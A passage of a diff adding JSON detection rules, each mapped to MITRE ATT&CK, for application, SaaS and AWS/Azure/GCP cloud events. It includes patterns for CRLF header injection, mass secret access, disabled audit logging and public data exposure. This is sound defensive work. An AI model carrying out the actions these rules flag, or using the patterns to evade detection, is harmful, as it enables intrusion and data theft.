+ "name": "Session Cookie Failed HMAC Verification",
+ "product": "application",
+ "service": "auth",
+ "severity": "medium",
+ "slug": "app-cookie-tampered-hmac"
+ },
+ {
+ "category": "application",
+ "id": "det-application-040",
+ "match_when": {
+ "count_5min_per_ip_gt": 30,
+ "event_type": "password_reset_request"
+ },
+ "mitre": [
+ "T1110"
+ ],
+ "name": "High Volume Of Password Reset Requests From Single IP",
+ "product": "application",
+ "service": "auth",
+ "severity": "medium",
+ "slug": "app-account-enum-reset"
+ },
+ {
+ "category": "application",
+ "id": "det-application-041",
+ "match_when": {
+ "event_type": "ws_upgrade",
+ "origin_matches_allowed_list": false
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "WebSocket Upgrade From Cross-Origin Header",
+ "product": "application",
+ "service": "ws",
+ "severity": "medium",
+ "slug": "app-websocket-origin-bypass"
+ },
+ {
+ "category": "application",
+ "id": "det-application-042",
+ "match_when": {
+ "any_header_value_contains_any": [
+ "%0d%0a",
+ "\\r\\n"
+ ],
+ "event_type": "http_request"
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "CRLF Sequence In HTTP Header Value",
+ "product": "waf",
+ "service": "http",
+ "severity": "high",
+ "slug": "app-crlf-header-injection"
+ },
+ {
+ "category": "application",
+ "id": "det-application-043",
+ "match_when": {
+ "event_type": "dns_response",
+ "qtype": "CNAME",
+ "target_endswith_any": [
+ ".herokudns.com",
+ ".github.io",
+ ".azurewebsites.net"
+ ],
+ "target_resolves": false
+ },
+ "mitre": [
+ "T1583.001"
+ ],
+ "name": "CNAME Pointing To Deleted SaaS Tenant",
+ "product": "dns",
+ "service": "resolver",
+ "severity": "high",
+ "slug": "app-subdomain-takeover-cname"
+ },
+ {
+ "category": "application",
+ "id": "det-application-044",
+ "match_when": {
+ "event_type": "http_response",
+ "header_access_control_allow_credentials": "true",
+ "header_access_control_allow_origin": "*"
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "CORS Response With Wildcard Origin And Credentials Allowed",
+ "product": "application",
+ "service": "http",
+ "severity": "medium",
+ "slug": "app-cors-wildcard-with-creds"
+ },
+ {
+ "category": "application",
+ "id": "det-application-045",
+ "match_when": {
+ "csp_header_present": false,
+ "environment": "prod",
+ "event_type": "http_response"
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "Content-Security-Policy Header Removed From Production Response",
+ "product": "application",
+ "service": "http",
+ "severity": "medium",
+ "slug": "app-csp-disabled"
+ },
+ {
+ "category": "application",
+ "id": "det-application-046",
+ "match_when": {
+ "approver_role_neq": "codeowner",
+ "event_type": "push",
+ "path_contains": ".github/workflows/"
+ },
+ "mitre": [
+ "T1199"
+ ],
+ "name": "CI Workflow Modified By Account Without CODEOWNER Approval",
+ "product": "github",
+ "service": "repo",
+ "severity": "high",
+ "slug": "app-ci-workflow-modified-by-non-owner"
+ },
+ {
+ "category": "application",
+ "id": "det-application-047",
+ "match_when": {
+ "event_type": "runner_register",
+ "ip_is_internal": false
+ },
+ "mitre": [
+ "T1199"
+ ],
+ "name": "Self-Hosted Runner Registered From External IP",
+ "product": "github",
+ "service": "actions",
+ "severity": "critical",
+ "slug": "app-self-hosted-runner-external"
+ },
+ {
+ "category": "application",
+ "id": "det-application-048",
+ "match_when": {
+ "event_type": "key_rotation",
+ "in_change_window": false
+ },
+ "mitre": [
+ "T1554"
+ ],
+ "name": "Build Artifact Signing Key Rotated Outside Maintenance Window",
+ "product": "ci",
+ "service": "signing",
+ "severity": "high",
+ "slug": "app-build-signing-key-rotated"
+ },
+ {
+ "category": "application",
+ "id": "det-application-049",
+ "match_when": {
+ "event_type": "helm_install",
+ "repo_url_endswith_in_allow_list": false
+ },
+ "mitre": [
+ "T1195.002"
+ ],
+ "name": "Helm Install From Unknown Chart Repository",
+ "product": "kubernetes",
+ "service": "helm",
+ "severity": "high",
+ "slug": "app-helm-chart-untrusted-repo"
+ },
+ {
+ "category": "application",
+ "id": "det-application-050",
+ "match_when": {
+ "command": "destroy",
+ "event_type": "terraform_run",
+ "workspace_in": [
+ "prod",
+ "production"
+ ]
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "terraform destroy Run Targeting Production Workspace",
+ "product": "terraform",
+ "service": "cli",
+ "severity": "critical",
+ "slug": "app-terraform-destroy-prod"
+ },
+ {
+ "category": "application",
+ "id": "det-application-051",
+ "match_when": {
+ "event_type": "secret_create",
+ "value_contains": "hooks.slack.com/services/"
+ },
+ "mitre": [
+ "T1078"
+ ],
+ "name": "Newly Created Secret Has Slack Webhook Pattern",
+ "product": "vault",
+ "service": "secrets",
+ "severity": "high",
+ "slug": "app-secret-published-to-slack"
+ },
+ {
+ "category": "application",
+ "id": "det-application-052",
+ "match_when": {
+ "event_type": "deploy_key.create"
+ },
+ "mitre": [
+ "T1098.004"
+ ],
+ "name": "SSH Deploy Key Added To GitHub Repository",
+ "product": "github",
+ "service": "repo",
+ "severity": "medium",
+ "slug": "app-deploy-key-added-github"
+ },
+ {
+ "category": "application",
+ "id": "det-application-053",
+ "match_when": {
+ "event_type": "package_publish",
+ "package_visibility": "public",
+ "publisher_account_age_days_lt": 14
+ },
+ "mitre": [
+ "T1195.002"
+ ],
+ "name": "NPM Package Published From New Account",
+ "product": "npm",
+ "service": "registry",
+ "severity": "high",
+ "slug": "app-npm-package-publish-new-account"
+ },
+ {
+ "category": "application",
+ "id": "det-application-054",
+ "match_when": {
+ "event_type": "package_publish",
+ "publisher_ip_seen_before": false
+ },
+ "mitre": [
+ "T1195.002"
+ ],
+ "name": "PyPI Package Published From New IP",
+ "product": "pypi",
+ "service": "registry",
+ "severity": "medium",
+ "slug": "app-pypi-package-publish-new-ip"
+ },
+ {
+ "category": "application",
+ "id": "det-application-055",
+ "match_when": {
+ "event_type": "daemon_config",
+ "insecure_registries_count_gt": 0
+ },
+ "mitre": [
+ "T1195.002"
+ ],
+ "name": "Docker Daemon Started With --insecure-registry Flag",
+ "product": "docker",
+ "service": "dockerd",
+ "severity": "medium",
+ "slug": "app-docker-insecure-registry-flag"
+ },
+ {
+ "category": "application",
+ "id": "det-application-056",
+ "match_when": {
+ "cvss_max_gte": 9.0,
+ "event_type": "scan_result",
+ "registry_environment": "prod"
+ },
+ "mitre": [
+ "T1525"
+ ],
+ "name": "Container Image With Critical CVE Pushed To Prod Registry",
+ "product": "container-registry",
+ "service": "scan",
+ "severity": "high",
+ "slug": "app-image-critical-cve-pushed"
+ },
+ {
+ "category": "application",
+ "id": "det-application-057",
+ "match_when": {
+ "event_type_in": [
+ "protected_branch.policy_override",
+ "protected_branch.destroy"
+ ]
+ },
+ "mitre": [
+ "T1098.004"
+ ],
+ "name": "Branch Protection Disabled On Protected Branch",
+ "product": "github",
+ "service": "repo",
+ "severity": "high",
+ "slug": "app-protected-branch-disabled"
+ },
+ {
+ "category": "application",
+ "id": "det-application-058",
+ "match_when": {
+ "event_type": "DataExport",
+ "row_count_gt": 100000
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "Salesforce Mass Data Export Initiated",
+ "product": "salesforce",
+ "service": "audit",
+ "severity": "high",
+ "slug": "app-salesforce-mass-export"
+ },
+ {
+ "category": "application",
+ "id": "det-application-059",
+ "match_when": {
+ "event_type": "SandboxRefresh",
+ "in_change_window": false
+ },
+ "mitre": [
+ "T1199"
+ ],
+ "name": "Salesforce Sandbox Refreshed Outside Change Window",
+ "product": "salesforce",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "app-salesforce-sandbox-refresh-anomaly"
+ },
+ {
+ "category": "application",
+ "id": "det-application-060",
+ "match_when": {
+ "event_type": "BankAccountChange",
+ "linked_ticket": false
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "Workday Banking Info Changed Without HR Ticket",
+ "product": "workday",
+ "service": "audit",
+ "severity": "high",
+ "slug": "app-workday-bank-info-changed"
+ },
+ {
+ "category": "application",
+ "id": "det-application-061",
+ "match_when": {
+ "event_type": "recording_share",
+ "share_type": "external"
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "Zoom Cloud Recording Shared Externally",
+ "product": "zoom",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "app-zoom-recording-shared-external"
+ },
+ {
+ "category": "application",
+ "id": "det-application-062",
+ "match_when": {
+ "access": "open",
+ "count_5min_per_user_gt": 20,
+ "event_type": "shared_link.create"
+ },
+ "mitre": [
+ "T1567.002"
+ ],
+ "name": "Box Created Many Public Links In Short Window",
+ "product": "box",
+ "service": "audit",
+ "severity": "high",
+ "slug": "app-box-public-link-mass-create"
+ },
+ {
+ "category": "application",
+ "id": "det-application-063",
+ "match_when": {
+ "actor_is_admin": false,
+ "event_type": "workspace.export"
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "Notion Workspace Exported By Non-Admin",
+ "product": "notion",
+ "service": "audit",
+ "severity": "high",
+ "slug": "app-notion-workspace-export"
+ },
+ {
+ "category": "application",
+ "id": "det-application-064",
+ "match_when": {
+ "event_type": "space.export",
+ "size_bytes_gt": 524288000
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "Confluence Bulk Space Export",
+ "product": "confluence",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "app-confluence-space-export-bulk"
+ },
+ {
+ "category": "application",
+ "id": "det-application-065",
+ "match_when": {
+ "event_type": "record_export",
+ "row_count_gt": 50000
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "ServiceNow Bulk Record Export",
+ "product": "servicenow",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "app-servicenow-record-export-bulk"
+ },
+ {
+ "category": "application",
+ "id": "det-application-066",
+ "match_when": {
+ "channel_type": "external",
+ "event_type": "file_shared"
+ },
+ "mitre": [
+ "T1567.002"
+ ],
+ "name": "Slack File Shared To External Channel",
+ "product": "slack",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "app-slack-file-shared-external"
+ },
+ {
+ "category": "application",
+ "id": "det-application-067",
+ "match_when": {
+ "event_type": "channel_convert_to_public"
+ },
+ "mitre": [
+ "T1213"
+ ],
+ "name": "Slack Private Channel Converted To Public",
+ "product": "slack",
+ "service": "audit",
+ "severity": "medium",
+ "slug": "app-slack-channel-public-conversion"
+ },
+ {
+ "category": "application",
+ "id": "det-application-068",
+ "match_when": {
+ "event_type": "AnonymousLinkCreated",
+ "sensitivity_label_in": [
+ "Confidential",
+ "Highly Confidential"
+ ]
+ },
+ "mitre": [
+ "T1567.002"
+ ],
+ "name": "OneDrive Anonymous Sharing Link Created For Sensitive File",
+ "product": "m365",
+ "service": "audit",
+ "severity": "high",
+ "slug": "app-onedrive-anonymous-link-sensitive"
+ },
+ {
+ "category": "application",
+ "id": "det-application-069",
+ "match_when": {
+ "event_type": "TenantSettingChanged",
+ "setting": "SharingCapability",
+ "value": "ExternalUserSharingOnly"
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "SharePoint Tenant-Wide Guest Access Enabled",
+ "product": "m365",
+ "service": "audit",
+ "severity": "high",
+ "slug": "app-sharepoint-guest-tenantwide"
+ },
+ {
+ "category": "application",
+ "id": "det-application-070",
+ "match_when": {
+ "actor_authenticated": false,
+ "event_type": "graphql_op",
+ "op_type": "mutation"
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "GraphQL Mutation Executed By Anonymous Caller",
+ "product": "api-gateway",
+ "service": "http",
+ "severity": "high",
+ "slug": "app-graphql-mutation-anonymous"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-001",
+ "match_when": {
+ "error_code": null,
+ "event_name": "ConsoleLogin",
+ "user_type": "Root"
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "AWS Root Account Console Login",
+ "product": "aws",
+ "service": "cloudtrail",
+ "severity": "critical",
+ "slug": "aws-root-account-login"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-002",
+ "match_when": {
+ "event_name_count_gt": 25,
+ "event_source": "iam.amazonaws.com",
+ "time_window_minutes_lt": 5
+ },
+ "mitre": [
+ "T1087.004",
+ "T1069.003"
+ ],
+ "name": "AWS IAM Enumeration Burst",
+ "product": "aws",
+ "service": "cloudtrail",
+ "severity": "high",
+ "slug": "aws-iam-enumeration"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-003",
+ "match_when": {
+ "event_name_in": [
+ "PutBucketAcl",
+ "PutBucketPolicy"
+ ],
+ "public_grant": true
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "AWS S3 Bucket Made Public",
+ "product": "aws",
+ "service": "cloudtrail",
+ "severity": "high",
+ "slug": "aws-s3-public-bucket"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-004",
+ "match_when": {
+ "event_name": "DeleteBucket"
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "AWS S3 Bucket Deletion",
+ "product": "aws",
+ "service": "cloudtrail",
+ "severity": "high",
+ "slug": "aws-s3-bucket-deletion"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-005",
+ "match_when": {
+ "aws_region_not_in": [
+ "us-east-1",
+ "us-west-2",
+ "eu-west-1"
+ ],
+ "event_name": "RunInstances"
+ },
+ "mitre": [
+ "T1578.002"
+ ],
+ "name": "AWS EC2 Instance Launched in Unauthorized Region",
+ "product": "aws",
+ "service": "cloudtrail",
+ "severity": "medium",
+ "slug": "aws-ec2-launch-foreign-region"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-006",
+ "match_when": {
+ "event_name": "AuthorizeSecurityGroupIngress",
+ "ip_range": "0.0.0.0/0",
+ "port_in": [
+ 22,
+ 3389,
+ 3306,
+ 5432,
+ 1433,
+ 6379
+ ]
+ },
+ "mitre": [
+ "T1190",
+ "T1133"
+ ],
+ "name": "AWS Security Group Opened to 0.0.0.0/0",
+ "product": "aws",
+ "service": "cloudtrail",
+ "severity": "high",
+ "slug": "aws-security-group-open-world"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-007",
+ "match_when": {
+ "event_name_in": [
+ "PutUserPolicy",
+ "PutRolePolicy",
+ "AttachUserPolicy"
+ ],
+ "policy_action": "*",
+ "policy_resource": "*"
+ },
+ "mitre": [
+ "T1078.004",
+ "T1098.001"
+ ],
+ "name": "AWS IAM Policy with Wildcard Action",
+ "product": "aws",
+ "service": "cloudtrail",
+ "severity": "high",
+ "slug": "aws-iam-policy-permissive"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-008",
+ "match_when": {
+ "event_name_in": [
+ "DisableKey",
+ "ScheduleKeyDeletion"
+ ]
+ },
+ "mitre": [
+ "T1485",
+ "T1486"
+ ],
+ "name": "AWS KMS Key Disabled or Scheduled for Deletion",
+ "product": "aws",
+ "service": "cloudtrail",
+ "severity": "critical",
+ "slug": "aws-kms-key-disable"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-009",
+ "match_when": {
+ "event_name_in": [
+ "StopLogging",
+ "DeleteTrail",
+ "UpdateTrail"
+ ]
+ },
+ "mitre": [
+ "T1562.008"
+ ],
+ "name": "AWS CloudTrail Logging Disabled",
+ "product": "aws",
+ "service": "cloudtrail",
+ "severity": "critical",
+ "slug": "aws-cloudtrail-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-010",
+ "match_when": {
+ "event_name": "AddPermission",
+ "principal": "*"
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "AWS Lambda Function with Public Invoke Permission",
+ "product": "aws",
+ "service": "cloudtrail",
+ "severity": "medium",
+ "slug": "aws-lambda-permissive-trigger"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-011",
+ "match_when": {
+ "event_name": "DeleteFlowLogs"
+ },
+ "mitre": [
+ "T1562.008"
+ ],
+ "name": "AWS VPC Flow Logs Disabled",
+ "product": "aws",
+ "service": "cloudtrail",
+ "severity": "high",
+ "slug": "aws-vpc-flow-logs-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-012",
+ "match_when": {
+ "event_name_in": [
+ "CreateDBInstance",
+ "ModifyDBInstance"
+ ],
+ "publicly_accessible": true
+ },
+ "mitre": [
+ "T1190",
+ "T1530"
+ ],
+ "name": "AWS RDS Instance Set Publicly Accessible",
+ "product": "aws",
+ "service": "cloudtrail",
+ "severity": "high",
+ "slug": "aws-rds-publicly-accessible"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-013",
+ "match_when": {
+ "createvolumepermission": "all",
+ "event_name": "ModifySnapshotAttribute"
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "AWS EBS Snapshot Made Public",
+ "product": "aws",
+ "service": "cloudtrail",
+ "severity": "critical",
+ "slug": "aws-ebs-snapshot-public"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-014",
+ "match_when": {
+ "event_name": "AssumeRole",
+ "external_account_in_allowlist": false,
+ "user_arn_external_account": true
+ },
+ "mitre": [
+ "T1078.004",
+ "T1199"
+ ],
+ "name": "AWS AssumeRole from Untrusted External Account",
+ "product": "aws",
+ "service": "cloudtrail",
+ "severity": "high",
+ "slug": "aws-cross-account-assumerole"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-015",
+ "match_when": {
+ "event_name": "GetObject",
+ "object_count_per_principal_gt": 5000,
+ "time_window_minutes_lt": 30
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "AWS S3 GetObject Volume Anomaly per Principal",
+ "product": "aws",
+ "service": "cloudtrail",
+ "severity": "high",
+ "slug": "aws-s3-mass-getobject"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-016",
+ "match_when": {
+ "operation_name": "AddMemberToRole",
+ "role_name_in": [
+ "Global Administrator",
+ "Privileged Role Administrator",
+ "Owner"
+ ]
+ },
+ "mitre": [
+ "T1098.003"
+ ],
+ "name": "Azure AD Owner/Global-Admin Role Assignment",
+ "product": "azure",
+ "service": "azuread-audit",
+ "severity": "critical",
+ "slug": "azure-ad-role-owner-assignment"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-017",
+ "match_when": {
+ "operation_name": "Update application - Certificates and secrets management"
+ },
+ "mitre": [
+ "T1098.001"
+ ],
+ "name": "Azure AD Application Credential Added",
+ "product": "azure",
+ "service": "azuread-audit",
+ "severity": "high",
+ "slug": "azure-ad-app-secret-added"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-018",
+ "match_when": {
+ "operation_name_in": [
+ "Update conditional access policy",
+ "Delete conditional access policy"
+ ],
+ "policy_state": "disabled"
+ },
+ "mitre": [
+ "T1562.001"
+ ],
+ "name": "Azure AD Conditional Access Policy Disabled or Removed",
+ "product": "azure",
+ "service": "azuread-audit",
+ "severity": "critical",
+ "slug": "azure-conditional-access-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-019",
+ "match_when": {
+ "operation_name_in": [
+ "KeyDelete",
+ "VaultDelete"
+ ]
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "Azure Key Vault Key Deleted",
+ "product": "azure",
+ "service": "keyvault",
+ "severity": "high",
+ "slug": "azure-keyvault-key-deleted"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-020",
+ "match_when": {
+ "operation_name": "Microsoft.Network/networkSecurityGroups/securityRules/write",
+ "rule_destination_port_in": [
+ 22,
+ 3389,
+ 1433,
+ 3306,
+ 6379
+ ],
+ "rule_source": "*"
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "Azure NSG Rule Allowing 0.0.0.0/0 Inbound",
+ "product": "azure",
+ "service": "activity",
+ "severity": "high",
+ "slug": "azure-nsg-allow-all-inbound"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-021",
+ "match_when": {
+ "operation_name": "Microsoft.Storage/storageAccounts/blobServices/containers/write",
+ "public_access_in": [
+ "blob",
+ "container"
+ ]
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "Azure Storage Account Container Made Public",
+ "product": "azure",
+ "service": "activity",
+ "severity": "high",
+ "slug": "azure-storage-public-blob"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-022",
+ "match_when": {
+ "operation_name": "Disable Strong Authentication"
+ },
+ "mitre": [
+ "T1556.006"
+ ],
+ "name": "Azure AD MFA Disabled for User",
+ "product": "azure",
+ "service": "azuread-audit",
+ "severity": "high",
+ "slug": "azure-ad-mfa-disabled-for-user"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-023",
+ "match_when": {
+ "operation_name": "Add app role assignment to service principal",
+ "scope_in": [
+ "Mail.ReadWrite",
+ "Files.ReadWrite.All",
+ "Directory.ReadWrite.All",
+ "User.ReadWrite.All"
+ ]
+ },
+ "mitre": [
+ "T1098.001"
+ ],
+ "name": "Azure AD App Registration Granted Broad Graph Scope",
+ "product": "azure",
+ "service": "azuread-audit",
+ "severity": "high",
+ "slug": "azure-app-registration-permissive-scope"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-024",
+ "match_when": {
+ "risk_event_type": "anonymizedIPAddress"
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "Azure AD Login from Tor / Anonymous IP",
+ "product": "azure",
+ "service": "azuread-signin",
+ "severity": "high",
+ "slug": "azure-login-anonymous-ip"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-025",
+ "match_when": {
+ "delete_count_per_principal_gt": 50,
+ "operation_name_endswith": "/delete",
+ "time_window_minutes_lt": 15
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "Azure Resource Mass Deletion",
+ "product": "azure",
+ "service": "activity",
+ "severity": "critical",
+ "slug": "azure-resource-mass-delete"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-026",
+ "match_when": {
+ "method_name": "SetIamPolicy",
+ "role_in": [
+ "roles/owner",
+ "roles/editor"
+ ]
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "GCP IAM Primitive Role (Owner/Editor) Granted",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "high",
+ "slug": "gcp-iam-primitive-role-grant"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-027",
+ "match_when": {
+ "method_name": "google.iam.admin.v1.CreateServiceAccountKey"
+ },
+ "mitre": [
+ "T1098.001"
+ ],
+ "name": "GCP Service Account Key Created",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "high",
+ "slug": "gcp-service-account-key-created"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-028",
+ "match_when": {
+ "iam_member_in": [
+ "allUsers",
+ "allAuthenticatedUsers"
+ ],
+ "method_name": "storage.setIamPermissions"
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "GCP GCS Bucket Set to Public",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "high",
+ "slug": "gcp-gcs-bucket-public"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-029",
+ "match_when": {
+ "method_name": "compute.firewalls.insert",
+ "port_in": [
+ 22,
+ 3389,
+ 5432,
+ 3306,
+ 6379
+ ],
+ "source_range": "0.0.0.0/0"
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "GCP Firewall Rule Allowing 0.0.0.0/0 Inbound",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "high",
+ "slug": "gcp-firewall-rule-allow-all"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-030",
+ "match_when": {
+ "method_name": "DeleteProject"
+ },
+ "mitre": [
+ "T1485"
+ ],
+ "name": "GCP Project Marked for Deletion",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "gcp-project-deletion"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-031",
+ "match_when": {
+ "method_name_in": [
+ "google.logging.v2.ConfigServiceV2.DeleteSink",
+ "google.logging.v2.ConfigServiceV2.UpdateSink"
+ ]
+ },
+ "mitre": [
+ "T1562.008"
+ ],
+ "name": "GCP Audit Log Sink Disabled or Deleted",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "gcp-audit-log-sink-disabled"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-032",
+ "match_when": {
+ "method_name_endswith": ".SetOrgPolicy"
+ },
+ "mitre": [
+ "T1562.008"
+ ],
+ "name": "GCP Organization Policy Modified",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "high",
+ "slug": "gcp-org-policy-modified"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-033",
+ "match_when": {
+ "impersonator_in_allowlist": false,
+ "method_name": "GenerateAccessToken"
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "GCP Service Account Impersonation Outside Allowlist",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "high",
+ "slug": "gcp-service-account-impersonation"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-034",
+ "match_when": {
+ "method_name": "google.cloud.secretmanager.v1.SecretManagerService.AccessSecretVersion",
+ "secret_count_per_principal_gt": 25,
+ "time_window_minutes_lt": 10
+ },
+ "mitre": [
+ "T1555.005",
+ "T1530"
+ ],
+ "name": "GCP Secret Manager Mass AccessSecretVersion",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "critical",
+ "slug": "gcp-secret-manager-mass-export"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-035",
+ "match_when": {
+ "iam_member_in": [
+ "allUsers",
+ "allAuthenticatedUsers"
+ ],
+ "method_name": "google.cloud.bigquery.v2.DatasetService.UpdateDataset"
+ },
+ "mitre": [
+ "T1530"
+ ],
+ "name": "GCP BigQuery Dataset Made Public",
+ "product": "gcp",
+ "service": "audit",
+ "severity": "high",
+ "slug": "gcp-bigquery-dataset-public"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-036",
+ "match_when": {
+ "env_has_secret": true,
+ "event_name_in": [
+ "RunInstances",
+ "RunPods",
+ "DeployContainer"
+ ]
+ },
+ "mitre": [
+ "T1552.001"
+ ],
+ "name": "Cloud Workload Spawned with Secrets in Environment Variables",
+ "product": "cloud",
+ "service": "workload",
+ "severity": "high",
+ "slug": "cloud-secrets-in-env"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-037",
+ "match_when": {
+ "event_name_in": [
+ "UpdateRepositoryVisibility",
+ "SetIamPolicy"
+ ],
+ "visibility": "public"
+ },
+ "mitre": [
+ "T1525"
+ ],
+ "name": "Container Registry Repository Made Public",
+ "product": "cloud",
+ "service": "registry",
+ "severity": "medium",
+ "slug": "cloud-container-registry-public"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-038",
+ "match_when": {
+ "bucket_visibility": "public",
+ "object_path_endswith": ".tfstate"
+ },
+ "mitre": [
+ "T1530",
+ "T1552.001"
+ ],
+ "name": "Terraform State File Stored in Public Bucket",
+ "product": "cloud",
+ "service": "storage",
+ "severity": "critical",
+ "slug": "cloud-tfstate-public"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-039",
+ "match_when": {
+ "event_name_in": [
+ "CreateLoadBalancer",
+ "ModifyLoadBalancerAttributes"
+ ],
+ "scheme": "internet-facing",
+ "waf_attached": false
+ },
+ "mitre": [
+ "T1190"
+ ],
+ "name": "Internet-Facing Load Balancer Without WAF",
+ "product": "cloud",
+ "service": "lb",
+ "severity": "medium",
+ "slug": "cloud-internet-load-balancer-no-waf"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-040",
+ "match_when": {
+ "event_name_in": [
+ "UpdateAssumeRolePolicy",
+ "PutRolePolicy"
+ ],
+ "external_account_in_allowlist": false,
+ "trusted_principal_external_account": true
+ },
+ "mitre": [
+ "T1199"
+ ],
+ "name": "Cross-Account Trust Added to Privileged Role",
+ "product": "cloud",
+ "service": "iam",
+ "severity": "critical",
+ "slug": "cloud-cross-account-trust-add"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-041",
+ "match_when": {
+ "event_name_in": [
+ "AttachUserPolicy",
+ "AttachRolePolicy",
+ "AttachGroupPolicy"
+ ],
+ "policy_arn": "arn:aws:iam::aws:policy/AdministratorAccess"
+ },
+ "mitre": [
+ "T1078.004",
+ "T1098"
+ ],
+ "name": "AWS IAM AdministratorAccess Policy Attached",
+ "product": "aws",
+ "service": "iam",
+ "severity": "high",
+ "slug": "aws-iam-attach-administrator-access"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-042",
+ "match_when": {
+ "event_name": "ListAccessKeys",
+ "key_age_days_gt": 365
+ },
+ "mitre": [
+ "T1078.004"
+ ],
+ "name": "AWS IAM Access Key Older Than 365 Days",
+ "product": "aws",
+ "service": "iam",
+ "severity": "medium",
+ "slug": "aws-iam-key-rotation-skipped"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-043",
+ "match_when": {
+ "event_name": "DeactivateMFADevice",
+ "target_user_priv": true
+ },
+ "mitre": [
+ "T1556.006"
+ ],
+ "name": "AWS IAM MFA Removed From Privileged User",
+ "product": "aws",
+ "service": "iam",
+ "severity": "critical",
+ "slug": "aws-iam-mfa-disabled-on-priv-user"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-044",
+ "match_when": {
+ "event_name": "UpdateAssumeRolePolicy",
+ "trust_principal": "*"
+ },
+ "mitre": [
+ "T1078.004",
+ "T1098.001"
+ ],
+ "name": "AWS IAM Role Trust Policy Allows Principal '*'",
+ "product": "aws",
+ "service": "iam",
+ "severity": "critical",
+ "slug": "aws-iam-role-trust-broadened-wildcard"
+ },
+ {
+ "category": "cloud",
+ "id": "det-cloud-045",
+ "match_when": {
+ "event_name": "SetDefaultPolicyVersion",
+ "policy_action": "*",
+ "policy_resource": "*"
+ },
+ "mitre": [
+ "T1098"
+ ],
+ "name": "AWS IAM Policy Version Set With Wildcard Action",
+ "product": "aws",
+ "service": "iam",
+ "severity": "high",
